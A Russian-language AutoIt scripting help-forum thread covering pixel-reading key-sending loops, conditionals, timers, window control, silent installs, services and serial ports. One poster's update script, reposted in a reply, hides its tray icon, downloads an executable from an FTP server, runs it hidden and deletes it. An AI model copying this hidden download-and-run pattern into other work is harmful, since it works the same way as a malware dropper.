Ну, оболочка мне нужна для того что бы выбрать переменные, а потом уже основываясь на них выполняется работа дальше. переменные эти всегда одни и те-же, меняются во вкладках. Дальше скрипт уже использует то , что я выбрал конкретно в этот раз. Помнится, в школьные годи бейсик учил, там была команда GOTO, может и тут есть что-нить похожее, что бы перенаправило по нажатию кнопки дальше. Функцию внутрь функции же нельзя вставить, а у меня там и функции, и циклы дальше идут...Просто нажать на кнопку "ок" и продолжить выполнение.
|
|
Цитата:
|
Цитата:
Я если честно задрудняюсь понять проблему... * В чём суть постоянной записи инфы в ini-файл? * И что такое Fade.au3 в начале скрипта? Может проще будет без режима OnEvent? Типа такого: Код:
#include <GUIConstants.au3> |
Цитата:
|
У меня к вам еще вопрос...
вот функция : func Wbd() WinActivate("WinBDRs") $coord = PixelSearch( 80, 361, 309, 371, 0xFF0000, 10 ) if Not @error then $coord_1 = PixelSearch( 80, 361, 309, 371, 0x291413, 40 ) Sleep(2000) $coord_2 = PixelSearch( 80, 361, 309, 371, 0x291413, 40 ) If $coord_1 <> $coord_2 Then Send("i") Else Send("o") EndIf EndIf endfunc while 1=1 Wbd() wend По идее должна считывать полоску и, если она остановится, послать мне команду . Но на деле все совсем не так...она постоянно посылает команду что стоит на месте, хотя я вижу что полоска бежит. Цвета тоже правельные указал, если их отдельно проверять, все проходят. Чувствую, я с IF then намудрил...рлмогите расставить все на свои места, пожалуйста. |
Цитата:
|
Цитата:
|
Цитата:
Еще вопрс..А можно как-нибудь организовать что бы PixelChecksum считал пиксели определенного цвета? т |
Цитата:
|
Он ничего сказать не может, потому что она внутри программы вшита. Говорит "WinBDRsWWindowsViewportWindow" это класс программы в общем, насколько я понял? PixelChecksum не может считывать пиксели нужного мне цвета? Можно как-нибудь посчитать их вообще автоитом?
|
Цитата:
|
Наверное я плохо объяснил и потом еще больше все запутал... в общем я решил эту проблему через пиксельсерч. По крайней мере изменения я теперь отслеживаю относительно цвета. Осталось только прописать что бы он в случае изменений делал одно, а если изменений нет- другое :) Всем спасибо за помощь. Автоит классная вещь! :)
На офф форуме там в основном только всякие боты к играм рассматриваются, пару идей я взял оттуда, но все равно пришлось по-другому все делать - у меня цвета не фиксированые были... |
Цитата:
Код:
If...ElseIf...Else...EndIf |
Прошу прощения если не в тему пишу, но заметил таку интересную команду:
Run("rundll32.exe netshell.dll,StartNCW"). Написано, что она работает и на Windows Vista. Я попробовал запустить - результата нет. Даже сообщения никакого не выдает. Подскажите что делать? Может есть альтернативные библиотеки или под Vista по другому называются? |
Помогите пож еще раз...наверное замучил уже...Я считываю 4 раза изменение полоски состояния, получаю 4 значения $res. Допустим, $res1=207, $res2=208, $res3=355, $res4=355. Теперь мне надо что бы в программа сравнила их по критериям, которые я задал. Т.к. Критериев для обработки много, я путаюсь и не знаю что с ними делать :( . Пробовал через IF -Then, как показано ниже, но выдает ошибку
If $res1<>$res2, $res2=$res4 Then If $res1<>$res2^ ERROR В связке If-Then-ElseIf таже ошибка. Может параметры не правильно заданы и нельзя так их вводить, тоесть через запятую? Просто сразу после того как первый IF не соответствует действительности вылетает ошибка. Как сделать что бы программа из предложеных условий выбирала нужное и действовала согласно результату? Упростить до двух считываний изменений и потом сравнения их нельзя, надо что бы именно 4 сравнивало. Что посоветуете?... if $res1=$res4 Then Send("1") EndIf If $res1<>$res2, $res2=$res4 Then Send("1") EndIf If $res1<>$res2, $res2<>$res3, $res3=$res4 Then Send("1") EndIf If $res1=$res2, $res2<>$res3, $res3=$res4 Then Send("1") EndIf If $res1=$res3, $res3<>$res4 Then Send("5") EndIf If $res1<>$res2, $res2<>$res3, $res3<>$res4 Then Send("5") EndIf If $res1<>$res2, $res2=$res3, $res3<>$res4 Then Send("5") EndIf Если пишу так: ElseIf $res1=$res2<>$res3=$res4 Then Send("5") то с ошибкой не выкидывает, но нажимает всегда "1", даже если видно что полоско двигается вперед и назад... Попробовал задать по-другому : ElseIf $res1=$res2<$res3=$res4 Then Send("5") Теперь жмет что надо, но загвоздка в том, что может быть так $res2<$res3, а может быть так $res2 >$res3.... если ставлю <>, то не обрабатывает.... Как можно еще поставить неравенство? Неужели надо кучу IF добавлять? :( |
Иск,
Цитата:
Код:
$res1 = 207 |
Цитата:
|
|
Добрый день! а не подскажет ли кто, можно ли в АИ отслеживать время? и подобно виндусовому планировщику задач запускать нужные функции по назначенному времени?
|
Цитата:
|
Вот пример:
Код:
Global $sDestTime = "14:00:00, 11.09.2008" |
Creat0R
У тебя опечатка в коде AdlibDisable("CheckTimeProc", 10) ;) |
спасибо-преспасибо Вам большое-пребольшое :clapping: ! я уже заметила опечатку и исправила:) ! отлично, все работает!
|
Может кто подскажет: как в функциях WinWait и WinActivate записывать не полное название окна, а, скажем, одно слово и чтоб все рабтало? :) Или нужно только название целиком?
|
no_sound, укажи в тексте проги
Opt("WinTitleMatchMode", 2) ; опознание окон по части заголовка WinActivate("Здесь пиши часть заголовка окна", "") |
Цитата:
|
А можно как-то узнать координаты выделенного объекта(строки) в SysListView32, чтоб потом сделать по этой строчке ControlClick??
Вопрос снят - воспользовался командой ControlFocus :)) |
Цитата:
Код:
ProcessWait(Run("Taskmgr.exe")) |
Цитата:
|
Всем прива !
Задачка вот такая: 1. проверить папку на удаленном компьютере на наличие файлов создать очет есть или нет (если возможно то как давно). 2. подцепиться к этой же машине, через РДП (Server 2003) 3. запустить определёную программу (софт) . 4. сделать скрин шот . 5. закрыть и сохранить отчет с картинкой в папке (фолдер). 6. (ну это вообше тяжко) послать папку на мыло или браузер. Благодарю за внимание !!! |
Добрый день!
никто не сталкивался стакой проблеммкой как : 1.программа au3 скомпилина в exe 2.проинсталлена на windows vista и записана в автозагрузку 3.цель программки проверять обновления и скачивать их с выводом на экран сообщения. и дальше вот такая фишка!!! инсталлируется, записывается в автозагрузку,запусается и висит в процессах. видно что циклически работает! но не загружает файлы из инета и не выводит на экран. НО! если ее запустить тыкнув мышью, то все скачивается и выводится!!! и что странно в обоих вариантах программа ведь запускается из под одной учетной записи! КТО знает в чем разница между запуском через автозагрузку и просто кликом, это почему то программке скомпилиной из autoit принципиально важно! |
lAGRESSORl, извиняюсь, но я не понял, Вы изучаете Автоит и просите помощи в разъяснении Вашей ошибки в скрипте или просто требуете чтобы Вам написали скрипт, нужный Вам?
samara_andrey, видимо ошибка в условиях проверки...наверняка при загрузке компутера (когда загрузилась система и начинают загружаться программы из Автозагрузки) интернет ещё не включён, следовательно Ваша программа опрашивает сервер на наличие обновлений, но не получает от него ответа, потому что инета нету, а потом заходит в цикл, когда появляется коннект с инетом, программа уже из цикла не может вылезти но вообще ето гадание на кофейной гуще, нужен пациент для осмотра, дайте участок кода или всю программу, тогда можно будет сказать определённо где ошибка |
Я конечно не в совершенстве, но вполне нормально знаю autoit, но в основном работал под XP. а недавно перешел на висту. вот так и получилось, что с этой операционкой есть какието новые фишки!
А так я просто прошу подсказку и народа, может кто сталкивался. скрипт мне писать не надо, все сам уже давно написал, только вот через автозагрузку не хочет работать. в XP пашет,а в висте нет! Добрый день! никто не сталкивался стакой проблеммкой как : 1.программа au3 скомпилина в exe 2.проинсталлена на windows vista и записана в автозагрузку 3.цель программки проверять обновления и скачивать их с выводом на экран сообщения. и дальше вот такая фишка!!! инсталлируется, записывается в автозагрузку,запусается и висит в процессах. видно что циклически работает! но не загружает файлы из инета и не выводит на экран. НО! если ее запустить тыкнув мышью, то все скачивается и выводится!!! и что странно в обоих вариантах программа ведь запускается из под одной учетной записи! КТО знает в чем разница между запуском через автозагрузку и просто кликом, это почему то программке скомпилиной из autoit принципиально важно! Opt ("TrayIconHide", 1) Sleep(5000) InetGet("ftp://0000:0000000000@ftp.narod.ru/ini.ini", "ini.ini", 1) $file = FileOpen("ini.ini", 0) $chars = FileRead($file) $file1 = FileOpen("dataini.ini", 0) $chars1 = FileRead($file1) if $chars <= $chars1 Then Run ("installupdate.exe", "", @SW_HIDE) Run ("rec.exe", "", @SW_HIDE) Sleep(30000); pause 0.5 min FileDelete("installupdate.exe") FileClose($file) FileDelete("ini.ini") Exit Else FileClose($file) FileClose($file1) Sleep(5000) ; pause 5 sec InetGet("ftp://0000:0000000000@ftp.narod.ru/rec.jpg", "rec.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec2.jpg", "rec2.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec3.jpg", "rec3.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec4.jpg", "rec4.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec5.jpg", "rec5.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec6.jpg", "rec6.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec7.jpg", "rec7.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec8.jpg", "rec8.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec9.jpg", "rec9.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec10.jpg", "rec10.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/installupdate.exe", "installupdate.exe", 1) Sleep(5000);pause 5 sec Run ("installupdate.exe", "", @SW_HIDE) Run ("rec.exe", "", @SW_HIDE) Sleep(30000); pause 0.5 min FileDelete("installupdate.exe") FileDelete("ini.ini") $file1 = FileOpen("dataini.ini", 2) FileWrite($file1, $chars) FileClose($file1) EndIf |
логин и пароль изменены , по соображениями безопасности
|
samara_andrey, я не особенно вдавался в суть скрипта (ошибок там не искал), но ето простой опрос на наличие новой версии программы, Вы говорили что видите как скрипт работает в цикле, или Вы не дали весь код проги или здесь просто нету цикла, есть условие которое выполняется-или не выполняется 1 раз)
а если при загрузке системы Вы сидите не под НАТом, то инет у вас включается на автоматически, следовательно секунд 30-40 после загрузки системы у Вас интернета нету, условие в ето время пытается получить файл с фтп, получает ошибку - нету инета и заканчивает выполнять программу, поскольку цикл опроса не организован Ниже скрипт с использованием цикла Opt ("TrayIconHide", 1) Sleep(5000) While 1 ; я использую такой оборот, чтобы ждать появление соединения с интернетом, только когда оно появится - продолжить выполнение скрипта Do $size=InetGetSize("http://xxxxxx.html") ; - файл, имеющий размер больше 1 Байта, если инета нету - размер файла не может быть получен и отдаётся 0 и мы вновь опрашиваем его размер Sleep(500) Until $size > 1 InetGet("ftp://0000:0000000000@ftp.narod.ru/ini.ini", "ini.ini", 1) $file = FileOpen("ini.ini", 0) $chars = FileRead($file) $file1 = FileOpen("dataini.ini", 0) $chars1 = FileRead($file1) if $chars <= $chars1 Then Run ("installupdate.exe", "", @SW_HIDE) Run ("rec.exe", "", @SW_HIDE) Sleep(30000); pause 0.5 min FileDelete("installupdate.exe") FileClose($file) FileDelete("ini.ini") Exit Else FileClose($file) FileClose($file1) Sleep(5000) ; pause 5 sec InetGet("ftp://0000:0000000000@ftp.narod.ru/rec.jpg", "rec.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec2.jpg", "rec2.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec3.jpg", "rec3.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec4.jpg", "rec4.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec5.jpg", "rec5.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec6.jpg", "rec6.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec7.jpg", "rec7.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec8.jpg", "rec8.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec9.jpg", "rec9.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/rec10.jpg", "rec10.jpg", 1) InetGet("ftp://0000:0000000000@ftp.narod.ru/installupdate.exe", "installupdate.exe", 1) Sleep(5000);pause 5 sec Run ("installupdate.exe", "", @SW_HIDE) Run ("rec.exe", "", @SW_HIDE) Sleep(30000); pause 0.5 min FileDelete("installupdate.exe") FileDelete("ini.ini") $file1 = FileOpen("dataini.ini", 2) FileWrite($file1, $chars) FileClose($file1) EndIf ;Здесь ставим время ожидания, чтобы не опрашивать сервер на обновление каждые 40-50 секунд, будем, например опрашивать каждые 5 минут Sleep(300000) ; 5*60 000 = 300 000 - время ожидания 5 минут Wend Также рекомендую Вам убрать строку Opt ("TrayIconHide", 1) (если Вы её уберёте, то иконка скрипта при выполнении будет видна в трее) и добавить AutoItSetOption("TrayIconDebug", 1) - очень полезно для отладки скрипта, при выполнении скрипта при наведении мышки на иконку в трее - Вы будете видеть номер строки кода, выполняемой в данный момент скриптом и сможете понять где ошибка, также можно добавлять всюду выдачу Сообщений с описанием на какой строке скрипт находится и что щас будет делать P.S. Скажите, пожалуйста, как окрашивать код в цвета Автоита при посте на форуме? :) |
Цитата:
Это можно посмотреть в реестре: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
да вы правы я дал не весь код. цикл там есть и увеличивать время не надо, опрос продолжается все время циклически независимо от того получен результат или нет.
сама фишка просто в том, что он не качает с фтп если запускается через автозагрузку. в реестре он записан верно без лишних параметров(это на сто пудов). это что-то именно с вистой связано, на хп этот код работает в таком же виде - и все ровно. кстати пробовал скачать через http вмеcто ftp, получается такая же петрушка. как красить цвета, я если честно этой целью не задавался)))))))) и без этого хватает гемора когда что-то не получается))))))) ваше решение ожидания инета тоже очень интересное, спасибо, пополню свой багаж))). я обычно использую ping для определения инета. ладно, спасибо за потраченное время, будем думать))))) |
Creat0R
------------------------------------------------------------------------------- Цитата samara_andrey: в чем разница между запуском через автозагрузку и просто кликом » Возможно через автозагрузку она запускается с параметрами? Это можно посмотреть в реестре: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ВОТ! "в чем разница между запуском через автозагрузку и просто кликом " - это и стало главным вопросом на который мы пока не нашли ответа!!! по сути дела разницы никакой,НО! когда запускаешь ручками с помощью клика - работает!, а когда через автозагрузку - хоть ты тресни!!! напомню что учетная запись одна и никаких параметров в реестре лишних нет при запуске. ВОТ В ЧЕМ ВОПРОС! а в хп работает отлично хоть так хоть эдак)))))))))))))) короче с вистой всегда был и будет кажется гемор, аж страшно подумать что придет ей на смену)))))))))))) |
вот кстати народ вам живой пример для размышления!
работает просто но результат аналогичный предыдущему скрипту! 1.возьмите этот код и скомпильте *.exe , слюбой картинкой 800*600 2.под вистой запустите exe руками, посмотрите на результат 3.потом пропишите exe в автозагрузку, перегрузитесь и посмотрите на результат теперь! у кого все получилось , то в первом варианте картинка есть, а во втором есть только окно без картинки! #include <GUIConstants.au3> GUICreate("picture",800,600,-1,-1) ; will create a dialog box that when displayed is centered GUISetBkColor (0xE0FFFF) $n=GUICtrlCreatePic("xp.jpg",1,1, 800,600) GUISetState () ; Run the GUI until the dialog is closed While 1 $msg = GUIGetMsg() If $msg = $GUI_EVENT_CLOSE Then ExitLoop Wend |
Цитата:
Чтобы найти решение, нужно добавить проверки на ошибочность, вот так: Код:
#NoTrayIcon Цитата:
|
Вложений: 1
Вдохновлённый идеей из одной темы на оф. форуме, сделал UDF _AutoItErrorHandler - Перехватывает критичные сообщения об ошибках и выводит самопальный диалог-отладчик, хотя отлаживать на данный момент конечно нереально, но можно к примеру посмотреть сообщение ошибки, перезапустить программу, отправить отчёт об ошибке (для этой части нужно ещё кусок кода дописать, вообще то сам процесс отправки :)), ну или просто закрыть приложение.
Этот UDF это всего лишь демонстрация того что можно сделать, диалог естественно можно изменить, функции убрать/добавить и т.д. Вот скриншот: ![]() UDF прикрепил к сообщению. В архиве две версии, одна с использованием StdOut, она более надёжнее, но проблема в том что скрипт не работает в режиме CUI в этой версии. Вторая версия не использует StdOut, она ждёт появления стандартного окна об ошибке от AutoIt'а, быстро(!) (почти мгновенно) закрывает его, и выводит своё окно. P.S Есть один минус конечно (как всегда с хорошими идеями :( ) - Запускаются два процесса скрипта, вместо одного. |
samara_andrey
Попробуй вставить в начало скрипта задержку на несколько минут (столько, сколько по твоему мнению нужно, что бы появилось подключение к интернету) и если проблема не исчезнет, значит дело в самой автозагрузке, а не в скрипте. Для проверки можно добавить в автозагрузку, ну скажем Оперу с указанием стартовать домашнюю страницу и аналогично отслеживать активность. Creat0R Спасибо за UDF :up: lAGRESSORl Цитата:
Код:
$sDir = "\\compname\c\MyFolder" Цитата:
Цитата:
Код:
Run() Цитата:
Цитата:
Код:
_ScreenCapture_Capture() Цитата:
|
samara_andrey
Цитата:
lAGRESSORl на кой ты клонируешь посты?.. сказал же про RDP - он тебе скорее всего не нужен и используй для подключения PSExec, по поводу всего остального вот стартовый пример, конкретные вопросы (после обращения к справке и поиска в форуме) можешь задавать сюда ;) Код:
#include <ScreenCapture.au3> |
А можно при помощи AutoIt запускать/останавливать службы Windows?
|
FunkyByte
Пример: Код:
Run(@ComSpec & ' /c net stop "Диспетчер очереди печати"', @SystemDir, @SW_HIDE) ;останавливаем службу |
FunkyByte
...или через WMI: Код:
Func _ServiceStart($sService, $sComputer = "localhost") |
Спасибо. Помогло.
|
Встала такая проблемка:
Есть 3 файла, называются они lico, func_1, func_2, код простой, так для примера: lico.au3 func_1.au3 func_2.au3 Смысл работы, как только я нажимаю кнопочку $button_for_func, два файлика func_1, func_2 должны запуститься и висеть в памяти и смотреть, что вписано в $input_for_func_1, $input_for_func_2 и в зависимости от того, что в них вписано выполнять те или иные предписания. Вроде просто, как мне казалось, а может оно так и есть, я может чего то недопонимаю. Что я делал, написал событие для кнопки $button_for_func сперва такое: #include <func_1.au3>, #include <func_2.au3>, даже заработало, правда только первый файл, ну тут ясно почему из-за бесконечного цикла... далее переправил на shellExecute("func_1.exe","","","open"), ShellExecute("func_2.exe","","","open"), нажал на кнопочку все туже и сразу же словил ошибку, переменные без объявления, хотя файлы просто были скомпилированы и в них я ничего не менял! я попробовал вообще через одно м..то сделать, создал ini и туда записывал, что считывал с $input_for_func_1, $input_for_func_2, а потом файлики func_2 и func_1 считывали из это ini делали, что нужно, записывали в эту же ini далее файл lico считывал из ini что ему пришло и вписывал эти данные куда надо. Это муторно и медленно работало. Такая проблема возникла из за того, что func_1 и func_2 реализуют алгоритм работы 2-х устройств, каждое устройство имеет свой алгоритм, свои задерки и так далее, вот и понадобилось создавать отдельные файлы. Подскажите, как все таки реализовать смысл работы? Спасибо. |
HORRIBLE, всё просто, на мой взгляд у Вас геморный метод, но какой есть)
Вам нужно лишь добавить в каждую функцию (func_1.au3 и func_2.au3) объявления переменных func_1.au3 : Dim $input_for_func_1, $label_from_func_1 В func_2.au3 : Dim $input_for_func_2, $label_from_func_2 Также советую добавить в func_1.au3 и func_2.au3 такие строчки, только с разными символами, при повторном нажатии на кнопку запуска 2-х ехе программа будет выдавать сообщение о том, что такие процессы уже запущены if _Singleton("Символы характеризующие первую функцию",1) = 0 Then MsgBox(16, "Ошибка!", "Программа уже запущена.") Exit EndIf и немного переделать основной скрипт, так будет удобнее, если в основном цикле Вы будете что-то делать: #include <GUIConstantsEx.au3> HotKeySet("{ESC}","term") GUICreate("fgfgfgfgfgfgfgfg", 350, 150) $label_for_func_1 = GUICtrlCreateLabel("Sost func_1 ",10,10,60,20) $label_for_func_2 = GUICtrlCreateLabel("Sost func_2 ",10,50,60,20) $input_for_func_1 = GUICtrlCreateInput("0",100,10,60,20) $input_for_func_2 = GUICtrlCreateInput("0",100,50,60,20) $button_for_func = GUICtrlCreateButton("Turn on func_1 and 2",170,50,150,20) $label_from_func_1 = GUICtrlCreateLabel("",350,10,100,20) $label_from_func_2 = GUICtrlCreateLabel("",350,50,100,20) GUISetState() Opt("GUIOnEventMode", 1) ; Change to OnEvent mode GUISetOnEvent($GUI_EVENT_CLOSE, "term") GUICtrlSetOnEvent($button_for_func, "F1") ; таким образом, действия будут происходить лишь при нажатии на кнопки, получается что основной цикл свободен While 1 WEnd Func F1() Run("func_1.exe", "") Run("func_2.exe", "") EndFunc Func term() Exit EndFunc |
Рысь, увы, но непомогло ( добавление объявки переменных спасло лишь от ошибки, но не более.
Но за изменение кода спасибо. |
Цитата:
Цитата:
|
Creat0R, еще 2-ва файлика появились из-за незнания,т.к. я не знал как сделать, чтобы команды вополняли с задержкой без использования sleep, конечно догадывался, что наверно можно, даже срашивал тут про таймер в милисекундах, но дальше неполучилось продвинуться, опять таки из-за незнания ).
|
Мужики , кто знает как послать Chr(0x00) через функцию CommSendString и что бы AUTOIT оптеделяла что это "0"?
|
shyra1976
может использовать _CommSendByte(), _CommSendByteArray() ? Serial port (COM port) udf, includes ability to send/receive binary data |
Вот например Стринг $sEyer25 = Chr(0xA9) & Chr(0x05) & Chr(0x57) & Chr(0x1) & Chr(0x07) и вот что видем "©W"в Console
возу $sEyer25 = Chr(0xA9) & Chr(0x05) & Chr(0x57) & Chr(0х00) & Chr(0x7B) и "0" он невидет Вот что видет "©W+>" _CommSendByte(), _CommSendByteArray() - и функций эти не видят "0" |
shyra1976, так пробовал?
Код:
_CommSendByte(0xA9,1) |
amel27,
Ne znaiy kak blogadarit SPASIBO |
Нужно установить Alcohol52.
AutoIt3 нажимает кнопки и делает всё корректно! Вопрос в следующем: Предположим надо зделать хотфикс для nLite. При этом желательно вообще скрыть все окна! Но я так понял, что если окна нету, то AutoIt не сможет нажимать ничего или я ошибаюсь??? Если можно то как!? Я закатал, скажем [alcohol.exe + script.exe] в InnoSetup и это работает. Но когда я пытаюсь запустить так MyAlc.exe /VERYSILENT - висит! Ну я уже чисто потом понял причину. Два вопроса: 1. Вообще можно жать в свёрнутые окна иль нет? 2. Как это зделать, что почитать или конкретно пример покажите? (я чайник, если можно подробнее если можно) |
Цитата:
![]() Цитата:
Код:
#include <GuiConstants.au3> Цитата:
|
Возникла проблема:
Как можно запустить AutoIt скрипт на одном компьютере, чтобы он выполнился на другом компьютере? Сеть из двух компьютеров, папка расшарена с полными правами. Код:
;Alfa - имя компьютера |
Цитата:
Цитата:
Код:
Run("calc.exe") |
|
http://forum.oszone.net/showpost.php?p=901269
не осилю :( А нельзя как-то глобально вообще запретить гуй!? GUISetState ( @SW_HIDE , "Alcohol" ) PS ставлю перед всеми - winwaitactive($Title,'Welcome to the Alcohol') такое: WinSetState ($Title, "", @SW_HIDE) что не так? |
Народ, подскажите , как в установщике галочку поставить . Что надо прописать?
Вот код : Run("IE8-WindowsXP-x86-RU-mui.exe") WinWaitActive ("Установка Internet Explorer") Send ("{ENTER}") Send ("{ENTER}") ControlClick('Установка Internet Explorer','','&Нет, перезагрузить компьютер позже >') -???? |
Цитата:
WinWaitActive() будет ждать окно, пока оно не активируется, но ведь если мы прячем окно, как оно будет активироваться? скрипт будет вечно ждать это окно. Цитата:
Можно попробовать так: Код:
ControlCommand('Установка Internet Explorer', '', 'CheckBox1', 'Check') |
Painkiller, можно попробовать через внутренние идентификаторы окна (но как сказал Креатор мы без данных не поможем), читайте справку..
а самый простой способ - нажмите Таб несколько раз, пока не дойдёте до выделения места с галкой, потом нажмите Пробел и дальше Таб до выделения кнопки, куда нажимаете Ввод.. WinWaitActive ("Установка Internet Explorer") Send ("{ENTER}") Send ("{ENTER}") ; если здесь нужно нажимать галку, то следущие строки находятся здесь, если нет - перенсите их Send ("{TAB}") Send ("{SPACE}") ControlClick('Установка Internet Explorer','','&Нет, перезагрузить компьютер позже >') -???? |
Галку надо поставить "Нет, перезагрузить компьютер позже". Будем пробовать!
|
Цитата:
|
Run("IE8-WindowsXP-x86-RU-mui.exe")
WinWaitActive ("Установка Internet Explorer") ControlClick('Установка Internet Explorer','','Button2') - тут всё окей ControlClick('Установка Internet Explorer','','Button2')- тут всё окей ControlClick('Установка Internet Explorer','','Button3')- тут не фига. эТО НЕ ЧЕБОКC, а RadioButton. AutoIt Window Info Tool показывает что это Button3. Как вы видете в самом конце прописал. И всё равно не хочет переключать на другой RadioButton. Чё делать? Это установщик руссификации к Internet Explorer |
Цитата:
Код:
ControlCommand('Установка Internet Explorer', '', 'Button3', 'Check') |
Всёравно не пашет. Ладно я убью процесс просто . Только как сделать, чтобы скрип подождал некоторое время?
|
Painkiller
Sleep() |
Спасибо всем кто помогал! Проблема решена убийством окна!
|
Большая просьба ко всем участникам форума!!! Мне очень нужно создать(точнее преобразовать) одну прогу:
А именно из cmd скрипта в AutoIt3 Поясню 1. Нужно сделать выбор, восстановления, или создания резерва 2. Код:
set A1=E:\Backup 3. Експортировать 1 значение реестра "codkey" из "HKLM\Software\Activision\Call of Duty 4 |
Цитата:
Код:
#include <GuiConstantsEx.au3> |
Power Archiver 2007
Код:
$Title="PowerArchiver" :) |
При работе скрипта :
Код:
#include <array.au3> Подскажите , ,пожалуйста , как перекодировать в кирилицу ? |
Скажите А можно ли по шагово сделат Debugging?
Спасибо |
Creat0R, Я понял, спасибо, но есть небольшие просьбы, можно ли в этот код вставить прогресс бар. И еще, по разделу реестра, мне нужно вырвать именно одно значение из того раздела, а именно "codkey"
P.S. Как изменить иконку на готовом exe ??? |
Цитата:
В ControlClick() не обязательно CLASS указывать, а в конце вместо "Left" лучше использовать "Primary", т.к кнопки мышки могут быть изменены (для левшей): Код:
ControlClick($Title, "Modify, Repair or Remove installation", "Button3", "Primary", 1) Вобщем вот: P.S При проверке синтаксиса в версии 3.2.12.x будут ошибки на ControlClick(), там забли обновить утилиту проверки синтаксиса в соответствии с новыми параметрами функции, в последних бетах этот баг исправили. |
Цитата:
А вообще лучше использовать UDF ID3, там вроде нормально с кириллицей. Цитата:
Цитата:
Цитата:
Код:
_RegExport("HKLM\Software\Activision\Call of Duty 4", "codkey", $A1 & "\key.reg") |
Creat0R, Прогресс бар нужен для показа прогресса копирования(иногда копирование затягивается)
Цитата:
Код:
楗摮睯敒楧瑳祲䔠楤潴敖獲潩⸵〰䡛䱋屍潓瑦慷敲䅜瑣癩獩潩屮慃汬漠畄祴㐠൝∊潣此祥㴢㠢䕔奄兑坅儴䵅兙㥇㌰≄ |
Скажите А можно ли по шагово сделат Debugging?
Если да , то как? Спасибо |
Цитата:
Кстати своя запись кирилицы воспроизводится нормально Пример : Код:
#include <array.au3> Только где хранить кодированный алфавит (àáâãäåæçèéêëìíîïðñòóôõö÷øùüûýþÿ) ??? В скрипте не получается. Приходится создавать текстовый файл с кодированным алфавитом , затем читать его и , сравнивая , раскодировать Это не есть удобно. А где хранить ???. |
Вы не могли бы подсказать, как решить такую задачу:
Есть интернет подключение (ADSL, Стрим). Раз в сутки провайдер разрывает соединение. Т.к. модем USB - подключаться заново приходиться вручную. Как реаливать в AutoIt: Постоянная проверка соcтояния подключения и при его отсутствии производить подключение. Как подключить - на форуме нашел: Код:
$ConnectionName="AccessRunner DSL" |
Creat0R, а если на основе этого скрипта примерчик?
Типа он для меня как образец, потому-что охватывает многое часто встречающееся, а я только начинающий. Всмысле можно переделать только диалог, без всяки реестров, файлов итп. всмысле мне надо, чтоб скрыть все окошки! Типа для тихой установки, чтоб GUI вообще запрятать! Я вообще-то очарован автоитом и его возможностями, но времени не хватает проникнуться изучением, хотя я хотел бы его знать от и до! Но щас хотяб один рабочий шаблон наладить, чтоб инсталлеры штамповать! Вообщем этот образец пойдёть, только надо окна убрать... ЗЫ в chm мало, что понятно и примеры все не к тому что нужно... Я вот своим умом уже доганять стал что [Class: ;Instanse: ] это то же самое что и слова на окнах, как бы можно и так и так лабать, конечно же Класс выигрывает повсему! Только я чё-то в Alcohol окне сколько не вбивал класс который сграбил AutiInfo.exe что -то не пошло... иль я по неопытности ошибок понаделал... :) |
Цитата:
![]() Можно заменить FileOpen($sRegFile, 2) на FileOpen($sRegFile, 128+2). Цитата:
Цитата:
Я только не понял суть перекодирвки... Цитата:
|
Цитата:
Код:
$tagRus=Decodering($tag) àáâãäåæçèéêëìíîïðñòóôõö÷øùüûýþÿ абвгдежзийклмнопрстуфхцчшщьыэюя Вопрос : Куда заложить эту строку àáâãäåæçèéêëìíîïðñòóôõö÷øùüûýþÿ на постоянное хранение ? (вместо файла Alphavit.txt ) . чтобы обойтись без него |
Цитата:
Код:
"codkey"="8TEDYQQEW4QEMYQG****" И я так и не понял про прогресс бар можно его вставить?? |
На основе этого >
Цитата:
я знаю сумбурно написал... просто там задача была в инсталяторе понажимать кнопки, ввести путь установки - всё это довольно часто одинакого происходит, больше мне пока ничего не надо. А тот скрипт, что "Поправленная версия" примерно хорошее начало, только еслиб там скрыть окна. Мне тут уже подсказывали, но я одно с другим не смог связать самостоятельно. Лучше уж на этом готовом и работающем скрипте, пожалуста! Надо чтоб окон не было видно! Никаких :) |
gvshil, а опция перезвонить при разрыве связи не помогает? (В свойствах подключения убери галку Запрашивать имя, пароль и т.д.)
Посмотри ещё в Свойствах обозревателя, вкладку Подключения. Или чётко напиши, что нужно. |
Цитата:
Цитата:
Только что проверил, нормально экспортируется. Цитата:
Цитата:
Код:
WinSetState($Title, "", @SW_HIDE) |
Цитата:
Код:
#include <array.au3> àáâãäåæçèéêëìíîïðñòóôõö÷øùüûýþÿ абвгдежзийклмнопрстуфхцчшщьыэюя Однако если выполнить перекодировку в UTF-8 в SciTE , тогда уже текст русского алфавита воспринимается неверно ??? |
Цитата:
ЍеЂЀЂдобЋе доЅодЋ (это из «Íåòðóäîâûå äîõîäû») Цитата:
|
Creat0R,
например,я назимаю F5 и программа бежит,а я хочу провернть порограмму по шагово Нажат кнопку и переити к другои команде |
shyra1976
Используй функцию MsgBox() и её возвращаемое значение. |
Цитата:
